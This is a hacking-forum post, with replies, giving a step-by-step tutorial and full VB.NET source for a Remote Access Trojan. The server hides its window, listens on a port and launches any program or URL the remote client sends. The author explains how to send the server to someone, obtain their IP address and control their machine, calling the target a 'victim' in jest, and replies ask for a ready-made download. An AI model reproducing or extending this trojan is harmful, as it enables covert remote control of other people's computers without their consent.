Visual Basic .NET RAT tutorial

sk8more

FS Member
ive had requests from multiple websites to make some tutorials on hacking so im posting this on multiple sites

--This tutorial is quite expansive and if you do not wish to learn the code like a script kiddie the complete code listing is at the bottom,but if you dont read the tut odds are it wont work or youll do it wong and youll get some fucked up arror message and post that this tutorial doesnt work,or this can only do 1 thing--

THIS CODE IS JUST A START TO WHAT CAN BE ACOMPLISHED,IT IS JUST A BASE FOR WHAT YOU NEED TO KNOW,i also explain in the tut how to expand onto the code,its not easy but this is less flawless than any script kiddie program youll find like bo2k or sub7.odds are if your a n00b wanting to hack your friend with sub 7 you wont find it(hakemate.com,sites in spanish and you have to find out yourself how to register) and bo2k will be to advanced for you,so make your own!

if you wish to continue on with this tutorial you must relize that it for educational perpouses only and this is MY! code nobody elses,you donot have the right to distribute this tutorial or code ANYWARE except the sites that I(sk8more) have posted it on


first off a RAT is a computer program that allows you to remotely access the computer running a server file,the RAT consits of 2 programs a client and a server.you run the clientwhich connects to a port on a remote ip running the server

RAT stands for (Remote Access Trojan/Tool)

the server is set to listen on a specific port,high numbers such as 16995 and other 5 didget numbers are best so the port is not easly recognized by sertain computer applications its also best to stay away from 12345 and 54321 ect....

but now that you under stand the basics(hopefully)
this is what you need to do to create and program your own

____________________________Server_______________________________




1.download vb express or buy/hack visual studio pro,i have a legal version so i dont know how hackable it is :/

now create a new windows application
name it "server"
double click the fourm to edit the code
at the top of the code file put

Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Imports Microsoft.Win32

all this does is allow easy access to certain commands,for example system.io allows access to file comands

file.open(path)
compared to
System.IO.File.Open(Path)

so now we need to create a listning socket which opens a port on the host computer with this.
place this in the form1_class code before form1_load

Dim port As Integer = 6961
Dim tcpc As New TcpListener(port)

now a new tcp client

Dim port As Integer = 6961
Dim sock As New TcpClient()
Dim tcpc As New TcpListener(port)

now we need a function that allows us to enable listing on the port when it is called,place this below the code you just wrote

Private Sub listen()
Try
tcpc.Start()
sock = tcpc.AcceptTcpClient()
Catch ex As Exception
End Try

End Sub

what this does is creates a function to call which trys to allow the listner to start listening and when the client trys to connect it accepts it and if it fails it just retrys again

now the complicated part.now we need to create a network stream that allows us to send and recieve data from the client and place it in a function


Private Sub check()
If sock.Connected = True Then
sock.SendTimeout = 5000
Try
Dim nstream As NetworkStream = sock.GetStream
Dim bit(sock.ReceiveBufferSize) As Byte
nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
Dim id() As String = Split(str, "*", -1, CompareMethod.Text)


If id(0) = 0 Then
Dim stri As String = id(1)
Process.Start(stri)
End If
Catch ex As Exception
check()
End Try
End If
End Sub


this script is actually quite simple,all id does is say id the listner is connected to a socket it redirects the connection to a socket in the server
and if the server socket is connected it trys to recieve the sockets data stream.
it then defines "bit" as a byte readable by the server data stream and gets its total size,it then tells the socket to read the incoming data,once it is all recieved it creates a string used to recieve string data sent by the client.
it then defines a string array that splits string data recieved and the id sent so the server knows what command to execute determined by the if statement.

this next if statement says if the first string in the array "id" is equal to 0 then a string is defined as the second string in the array "id" and then a process is started from the path depicted from id(1) the second string in that array.

so now all we need to do is tell the program to run these functions in the form1_load command that is already present,in that sub form put this code


While sock.Connected = False
Try
listen()
Catch ex As Exception
End Try
End While


While True
check()
End While
Me.Hide()

this allows the server to start listening and once it has found a connection it runs the check() function to preforme the actions that allows the socket to read the data then hides the form for added security.
now your server is finished and we must now create the client which is abit more complicated belive it or not :/


____________________________CLIENT_______________________________


again create a new windows application in vb.net and on the form place 3 textboxes and 2 buttons and 3 labels

set them up like this vvv

http://aycu01.webshots.com/image/45200/2003881144958150530_rs.jpg

give button 1 the text "connect"

and give button 2 the text "send"

now before anything special happens we need our basic code,double click form 1 to edit the code,now like in the server above everything in the code,even form1 class put the code

Imports System.Net
Imports System.Net.Sockets

now in the class code put


Dim sock As New TcpClient()
Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
Dim port As Integer = 6961

like before this defines a tcp client to connect to the server
it creates a non-text variable for the ip adress for the socket to connect to,for some reason microsoft is just gay and doesnt allow you to use a string with the socket.connect() command do all this does is turn a string into an ip adress then it defines a variable called port with the value 6961 which can be changed


now the fun stuff (sarcasm)

below all your variable definitions place the code

Private Sub connect()
ip = IPAddress.Parse(TextBox1.Text)
port = TextBox2.Text
Try
sock.Connect(ip, port)

Catch ex As Exception
MsgBox("Can not connect to designated ip at this time")
End Try
End Sub

this creates a function named connect() when it is called it sets the value of "ip" to what you have written in textbox 1 and then port is set to what you have in textbox 2

now with these 2 values the socket naked sock trys to connect to the ip and port that where defined and if the connection fails an error message is shown saying "Can not connect to designated ip at this time" feel free to change that to w/e you may likenow we need a function to be called when we want to send data to the connected socket

Private Sub dat(ByVal dat As String)
Dim nstream As NetworkStream = sock.GetStream()
Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
nstream.Write(bit, 0, bit.Length)
End Sub

so now when you call dat() you need a string in the () to be sent
but well worry about that later,it defines nstream as "sock's" data stream then defines bit as a byte that encrypts the text into bytes that can be sent over to the server,then the data stream sends the stringnow go back to the design of form 1 where you inserted the textboxes and stuff then double click button1 and inbetween the brackets of the button1_click put this code

connect()

this calls the function connect() which allows the socket to try and connect to the designated port/ip

now do the same thing to button 2,and for the button2_click put

dat("0*" + TextBox3.Text)

this calls the dat() function and attatches the string "0*" which is the id of the string being sent to the server plus the text in textbox 3 which should be a path to an aplication such as "c:\windows\virus.exe" or somthing or it can also be a webpage you want opened like "http://www.freeporntoinfectmycomputerwithviruses.com" without the quotes of coarse
so the string sent would look like this

0*http://www.freeporntoinfectmycomputerwithviruses.com


The * is needed to seperate the string once it is decoded in the server,so if you want to send more than the id and 1 string you need to seperate them with *
like this

dat("0*" + TextBox3.Text + "*" + TextBox4.Text)

this would do nothing as there is no textbox 4 becuase this is only an example,and since there is no textbox 4 an error would be generated,but that is how you would do it

now thats basically it,this is basically it for the client.this script is verry versitile as dat() can be called on any button press/keypress ect... so if you want more features lets say one create a message on the computer with the server you would use this in a seperate button press pointing to another textbox like this

dat("1*" + TextBox4.Text)

which just send the text with a new id to the server,but you must modify the server to recognize that id aswell

so to do that the code

Private Sub check()
If sock.Connected = True Then
sock.SendTimeout = 5000
Try
Dim nstream As NetworkStream = sock.GetStream
Dim bit(sock.ReceiveBufferSize) As Byte
nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
Dim id() As String = Split(str, "*", -1, CompareMethod.Text)


If id(0) = 1 Then
Dim stri As String = id(1)
Process.Start(stri)
End If

Catch ex As Exception
check()
End Try
End If
End Sub

shold now be

Private Sub check()
If sock.Connected = True Then
sock.SendTimeout = 5000
Try
Dim nstream As NetworkStream = sock.GetStream
Dim bit(sock.ReceiveBufferSize) As Byte
nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
Dim id() As String = Split(str, "*", -1, CompareMethod.Text)


If id(0) = 0 Then
Dim stri As String = id(1)
Process.Start(stri)
End If

If id(0) = 1 Then
Dim stri As String = id(1)
MsgBox(id(1))
End If


Catch ex As Exception
check()
End Try
End If
End Sub


this has been added

If id(0) = 1 Then
Dim stri As String = id(1)
MsgBox(id(1))
End If


so if id(0) is 1 which is the command id it creates a message box with the text sent after the id so it would be whatever you made textbox 3 say in your client

So now you should save and build both the server and the client becuse your ready to go,this is all my code hand written and thought of by me so there shouldent be another methood like this.

NOW to use this application,send the server to sombody and once they have opned it,it should start listning on the port defined in the server,which is 69691 but can be changed,so once you have sombody running the server you need there ip,look on the web for tutorials on how to find an ip through email,aim,msn,or even message boards

so now once you have the victim's uhh i mean host's ip open the client and in textbox 1 put the ip adress and in textbox 2 put the port,now click connect,an error should come up if you cannot connect,now once connected put a url or path in textbox 3 and hit send,this should open a webpage on the hosts computer.



------SERVER------

Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Imports Microsoft.Win32

Public Class Form1
Dim port As Integer = 6961
Dim sock As New TcpClient()
Dim tcpc As New TcpListener(port)
Dim place As String

Private Sub listen()
Try
tcpc.Start()
sock = tcpc.AcceptTcpClient()
Catch ex As Exception
End Try

End Sub

Private Sub check()
If sock.Connected = True Then
sock.SendTimeout = 5000
Try
Dim nstream As NetworkStream = sock.GetStream
Dim bit(sock.ReceiveBufferSize) As Byte
nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
Dim id() As String = Split(str, "*", -1, CompareMethod.Text)


If id(0) = 0 Then
Dim stri As String = id(1)
Process.Start(stri)
End If
Catch ex As Exception
check()
End Try
End If
End Sub

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load


While sock.Connected = False
Try
listen()
Catch ex As Exception
End Try
End While

While True
check()
End While
Me.Hide()
End Sub
End Class


------Client------

Imports System.Net
Imports System.Net.Sockets

Public Class Form1
Dim sock As New TcpClient()
Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
Dim port As Integer = 6961

Private Sub connect()
ip = IPAddress.Parse(TextBox1.Text)
port = TextBox2.Text
Try
sock.Connect(ip, port)

Catch ex As Exception
MsgBox("Can not connect to designated ip at this time")
End Try
End Sub

Private Sub dat(ByVal dat As String)
Dim nstream As NetworkStream = sock.GetStream()
Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
nstream.Write(bit, 0, bit.Length)
End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
connect()
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click

dat("0*" + TextBox3.Text)
End Sub


And there,fuckin long ass tutorials :/
that wasted 2 hours of my life,but hopefully ill turn some script kiddie into an actual hacker(ha ya right) honestly i have no idea why i give away my programs and stuff but i do and your welcome in advanced :D
im jk,but i do hope this can help some of you out
good luckand ill post a server and client RAT zip file in the download section soon

-sk8more
 
A+!!! atm im attempting(thats the key word) to learn C++, so this is a great tutorial i can use a little later to learn more!
 
Thanks alot man,if you dont know c# id learn that considering c++ is the most complex language to learn.and to make this in c++ it would use about 3 times the amount of code and even better if you dont use visual c it will take an extra 500 lines to design the form,id recomend anything from the visual studio suite.and im surprised sombody even attempted to read this beast,lol
 
can anyone please post a download of this program plz i tried 2 times but i got loads of errors and ive only ever made one program befor plz just say if u dont wat to
 
Back
Top